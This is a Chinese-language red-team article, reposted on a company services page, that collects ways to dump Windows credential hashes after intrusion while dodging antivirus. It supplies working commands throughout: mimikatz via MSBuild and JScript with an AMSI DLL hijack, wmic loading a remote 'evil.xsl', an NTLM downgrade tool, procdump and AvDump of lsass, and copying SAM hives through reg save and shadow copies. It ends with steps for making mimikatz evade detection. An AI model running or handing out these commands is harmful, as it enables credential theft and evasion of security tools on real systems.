抓取HASH的10001种方法
发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370
文章来源:酒仙桥六号部队 前言 在我们内网拿下机器时候,总会需要去抓取机器账户 HASH 值,但是往往大部分情况下机器存在杀软,有杀软的情况下服务器第一时间就干掉了最爱的 mimikatz。 我们需要更多的方法去抓取 HASH,常见的方法就不再详细举例了。 Net4.0 执行读取 下载 xml 文件 https://raw.githubusercontent.com/3gstudent/msbuild-inline-task/master/executes%20mimikatz.xml 进入 Net4.0 目录,执行即可。 cd C:WindowsMicrosoft.NETFramework64v4.0.30319.MSBuild.exe 1.xml JS 加载 cscript mimikatz.js 它已经能被一些敏感的 AV 识别,我们可以对其进行 bypass,通过 DLL 劫持绕过。发现在 ProcessMonitor 可以看到进程调用 C:WindowsSystem32amsi.dll 我们直接对其 DLL 劫持即可。 copy c:windowssystem32cscript amsi.dllasmi.dll 11.js 如何生成 mimikatz 的 js 版本,可以参考看下面的介绍。 https://gist.github.com/pljoel/42dae5e56a86a43612bea6961cb59d1a 这里用 csc 生成了 base64 加密的版本,再用使用 javascript 启动内存中的 mimikatz。 wmic 调用 本地:wmic process list /FORMAT:evil.xsl 远程:wmic os get /FORMAT:"https://example.com/evil.xsl" Internal Monologue Attack https://github.com/eladshamir/Internal-Monologue 介绍:通过 SSPI 调⽤ NTLM 身份验证,通过协商使⽤预定义 challenge 降级为 NetNTLMv1,获取到 NetNTLMv1 hash。⽽ NetNTLMv1 hash 可以短时间内使⽤彩虹表去破解。 这种情况可以在不接触 LSASS 的情况下检索 NTLM 哈希。可以说比运行 Mimikatz 更隐秘,因为不需要向受保护的进程注入代码或从受保护的进程中转储内存。由于 NetNTLMv1 响应是通过在本地与 NTLMSSP 进行交互而引发的,因此不会生成网络流量,并且所选择的挑战也不容易看到。没有成功的 NTLM 身份验证事件记录在日志中。 关于降级 NTLM 攻击可以看看这里 https://www.optiv.com/explore-optiv-insights/blog/post-exploitation-using-netntlm-downgrade-attacks .InternalMonologue.exe -Downgrade True -Restore False -Imperssonate True-Verbose True -Challenge 1122334455667788 成功出现当前的账户 HASH 值。 Bypass 部分杀软很变态能够将这些杀死,我们可以用几个方法将其绕过,转储 LASS,读取系统文件,制作新的 Bypassmimikazi 等等。 Procdump 官方介绍:ProcDump 是一个命令行实用程序,其主要目的是监视应用程序中的 CPU 尖峰并在尖峰期间生成崩溃转储,管理员或开发人员可以使用它来确定尖峰原因。ProcDump 还包括挂起的窗口监视,未处理的异常监视,并且可以基于系统性能计数器的值生成转储。它也可以用作常规流程转储实用程序。 大家都熟知的 Procdump,由于它是微软官方的签名,所以我们能通过它 bypass 某些不怎么样的杀软来 dump 出 lass 存储的密码。 执行如下命令 Procdump.exe -accepteula -ma lsass.exe lsass.dmp 在本机的上面跑 mimikazi 进行密码的成功查看 Avdump Avdump.exe 是在 Avast HomeSecurity 产品套件一起提供的小工具。顾名思义,该实用程序将给定进程标识符的内存转储到用户指定的位置。我们可以通过它进行新的 dump 方式利用。 它自带 Avast 杀软公司白签名。 我们直接运行即可。 .AvDump.exe --pid 696 --exception_ptr 0 --dump_level 1 --thread_id 0--min_interval 0 --dump_file e:tmplast.dmp 在本机的上面跑 mimikazi 进行密码的成功查看。 SAM 解密 像一些变态的 EDR,会禁用 Procdump、Minidump 等⽅式转储 lsass 进程,我们可以换一种方法。 SAM 它是安全帐户管理器。⽤于存储⽤户和 hash,可以⽤来验证本地和远程⽤户。 要解密 hash,我们需要获取到 SAM SYSTEM SECURITY 这三个⽂件。只要有这3个文件我们就能进行读取。 注册表复值 REG SAVE 将指定的子项、项和注册表值的副本保存到指定文件中,直接保存就完事了。 reg save hklmsystem SYSTEMreg save hklmsam SAMreg save hklmsecurity SECURITY 卷影复制 通过拷⻉卷影副本卷中的⽂件来读取 3 个文件 先创建 c 盘的 shadowscopy wmic shadowcopy call create volume='c:' 列出 shadows 的 list,从中并选择卷影副本卷,再复制我们需要的三个文件。 vssadmin list shadowscopy\?GLOBALROOTDeviceHarddiskVolumeShadowCopy4Windowssystem32configsam.copy\?GLOBALROOTDeviceHarddiskVolumeShadowCopy4Windowssystem32configsecurity.copy\?GLOBALROOTDeviceHarddiskVolumeShadowCopy4Windowssystem32configsystem. 解密恢复 HASH 通过上面几种方法拿到 3 个文件后,我们用 impacket-secretsdump 来进行解密。 impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL 用得到的 HASH 直接去解密即可。 mimikatz 免杀 除此之外我们还可以对 MIMIKAZi 进行免杀的处理。 一般的方法是删除代码层 MIMIKATZ 特征,默认资源,如 ICO 图标,替换 bin 包内容。 混淆编译完程序(加壳),克隆签名等等。 替换删除敏感词/修改图标 ico 修改 rc 特征。 利用Hex找出一些敏感 DLL,函数如 wdigest.dll,isbase64interceptinput 等等进行替换 替换敏感的 bin 文件中方法指定成系统自带的 dll 方法 netapi32 系统中 netapi32.dll 文件 创建 bin 文件并将其方法指定成系统的 function。 最后使用 themdia 加壳后再运行。 成功运行无报警。 总结 随着 AV 查杀,态势行为特征扫描的发展,利用的难度也越来越大,我们也需要不断提高自身的姿势水平,学习更好的方法来进行红蓝对抗。 参考链接: https://www.archcloudlabs.com/projects/dumping-memory-with-av/ https://blog.xpnsec.com/exploring-mimikatz-part-2/ https://www.optiv.com/explore-optiv-insights/blog/post-exploitation-using-netntlm-downgrade-attacks https://www.tiraniddo.dev/2018/06/disabling-amsi-in-jscript-with-one.html https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8JS%E5%8A%A0%E8%BD%BD.Net%E7%A8%8B%E5%BA%8F/ https://evi1cg.me/archives/AMSI_bypass.html https://blog.csdn.net/wxh0000mm/article/details/105842889 https://www.secpulse.com/archives/71380.html